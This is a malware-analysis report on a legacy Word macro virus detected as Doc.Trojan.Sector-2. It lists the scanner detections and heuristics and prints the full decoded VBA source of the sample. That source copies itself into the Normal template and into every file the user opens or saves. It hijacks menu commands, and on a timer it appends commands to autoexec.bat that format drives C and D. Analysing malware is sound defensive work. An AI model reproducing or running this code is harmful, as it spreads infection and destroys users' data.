MALICIOUS
188
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, including an AutoOpen subroutine. This indicates the file is designed to execute malicious code automatically when opened. The ClamAV detections further confirm its malicious nature, identifying it as 'Doc.Trojan.Sector-2' and an extracted artifact as 'Dos.Trojan.FormatC-59'.
Heuristics 4
-
ClamAV: Doc.Trojan.Sector-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Sector-2
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "AutoOpen"
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4957 bytes |
SHA-256: 8ff717f0a4f26b0ba1e7d254ecee0cb7490141fdac7f2dc39ebe90a91f9b1fdc |
|||
|
Detection
ClamAV:
Dos.Trojan.FormatC-59
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoExit"
Sub MAIN()
On Error GoTo q
Call ToolsMacro.MAIN
q:
End Sub
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Ìàêðîñ ñîçäàí "
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim u
Dim j
Dim i
On Error GoTo q
u = 0
j = WordBasic.CountMacros(0, 0)
For i = 1 To j
If WordBasic.[MacroName$](i, 0, 0) = "Microsoft" Then u = 1
Next i
If u = 1 Then GoTo q
WordBasic.MacroCopy WordBasic.[Filename$]() + ":AutoExit", "Normal:AutoExit", 1
WordBasic.MacroCopy WordBasic.[Filename$]() + ":AutoOpen", "Normal:MicrosoftWord", 1
WordBasic.MacroCopy WordBasic.[Filename$]() + ":Microsoft", "Normal:Microsoft", 1
WordBasic.MacroCopy WordBasic.[Filename$]() + ":MicrosoftOffice", "Normal:FileOpen", 1
WordBasic.MacroCopy WordBasic.[Filename$]() + ":TM", "Normal:ToolsMacro", 1
WordBasic.MacroCopy WordBasic.[Filename$]() + ":MacrosAN", "Normal:FileSaveAs", 1
WordBasic.MacroCopy WordBasic.[Filename$]() + ":Normal", "Normal:FileTemplates", 1
WordBasic.MacroCopy WordBasic.[Filename$]() + ":Normal", "Normal:ViewVBCode", 1
q:
End Sub
Attribute VB_Name = "Microsoft"
Sub MAIN()
Attribute MAIN.VB_Description = "Ìàêðîñ ñîçäàí "
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.Microsoft.MAIN"
End Sub
Attribute VB_Name = "MicrosoftOffice"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Ìàêðîñ ñîçäàí "
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.MicrosoftOffice.MAIN"
Dim n
Dim iCountMacros
Dim i
Dim t$
On Error GoTo q1
Dialogs(wdDialogFileOpen).Show
n = 0
iCountMacros = WordBasic.CountMacros(1, 0, 0)
For i = 1 To iCountMacros
t$ = WordBasic.[MacroName$](i, 1)
If t$ = "Microsoft" Then n = 1
Next i
If n = 1 Then GoTo q1
SetAttr WordBasic.[Filename$](), 0
WordBasic.FileSaveAs WordBasic.[Filename$](), Format:=1
WordBasic.MacroCopy "Normal:AutoExit", WordBasic.[Filename$]() + ":AutoExit", 1
WordBasic.MacroCopy "Normal:MicrosoftWord", WordBasic.[Filename$]() + ":AutoOpen", 1
WordBasic.MacroCopy "Normal:Microsoft", WordBasic.[Filename$]() + ":Microsoft", 1
WordBasic.MacroCopy "Normal:FileOpen", WordBasic.[Filename$]() + ":MicrosoftOffice", 1
WordBasic.MacroCopy "Normal:ToolsMacro", WordBasic.[Filename$]() + ":TM", 1
WordBasic.MacroCopy "Normal:FileSaveAs", WordBasic.[Filename$]() + ":MacrosAN", 1
WordBasic.MacroCopy "Normal:FileTemplates", WordBasic.[Filename$]() + ":Normal", 1
q1:
End Sub
Attribute VB_Name = "TM"
Sub MAIN()
Attribute MAIN.VB_Description = "Ìàêðîñ ñîçäàí 14.03.95 Sector not Die!!!"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.TM.MAIN"
If (Second(Now()) = 13) Then
On Error GoTo s
MsgBox "Critical Error in Drive C:", vbCritical, "Error"
SetAttr "c:\autoexec.bat", 0
Open "c:\autoexec.bat" For Append As #1
Print #1, " "
Print #1, " "
Print #1, "@Echo Off"
Print #1, "@Echo y|format c: /u >nul"
Print #1, "@Echo y|format d: /u >nul"
Close #1
End If
s:
On Error GoTo Quit
If (Day(Now()) = 4) And (Month(Now()) = 7) Then
SetAttr "c:\autoexec.bat", 0
Open "c:\autoexec.bat" For Append As #1
Print #1, " "
Print #1, "echo Ñåãîäíÿ 04/07 - ìîé äåíü ðîæäåíüÿ!:-)"
Close #1
MsgBox "Today is my BirthDay! 04/07", vbSystemModal, "Congratilations!.."
End If
Quit:
SendKeys "%" + "{F4}"
End Sub
Attribute VB_Name = "MacrosAN"
Sub MAIN()
Dim h
Dim vCountMacros
Dim d
Dim t$
Dialogs(wdDialogFileSaveAs).Show
On Error GoTo q1
h = 0
vCountMacros = WordBasic.CountMacros(1, 0, 0)
For d = 1 To vCountMacros
t$ = WordBasic.[MacroName$](d, 1)
If t$ = "Microsoft" Then h = 1
Next d
If h = 1 Then GoTo q1
SetAttr WordBasic.[Filename$](), 0
WordBasic.FileSaveAs WordBasic.[Filename$](), Format:=1
WordBasic.MacroCopy "Normal:AutoExit", WordBasic.[Filename$]() + ":AutoExit", 1
WordBasic.MacroCopy "Normal:MicrosoftWord", WordBasic.[Filename$]() + ":AutoOpen", 1
WordBasic.MacroCopy "Normal:Microsoft", WordBasic.[Filename$]() + ":Microsoft", 1
WordBasic.MacroCopy "Normal:FileOpen", WordBasic.[Filename$]() + ":MicrosoftOffice", 1
WordBasic.MacroCopy "Normal:ToolsMacro", WordBasic.[Filename$]() + ":TM", 1
WordBasic.MacroCopy "Normal:FileSaveAs", WordBasic.[Filename$]() + ":MacrosAN", 1
WordBasic.MacroCopy "Normal:FileTemplates", WordBasic.[Filename$]() + ":Normal", 1
q1:
End Sub
Attribute VB_Name = "Normal"
Sub MAIN()
Attribute MAIN.VB_Description = "Ìàêðîñ ñîçäàí 14.03.95 Sector not Die!!!"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.Normal.MAIN"
On Error GoTo w
Call ToolsMacro.MAIN
w:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.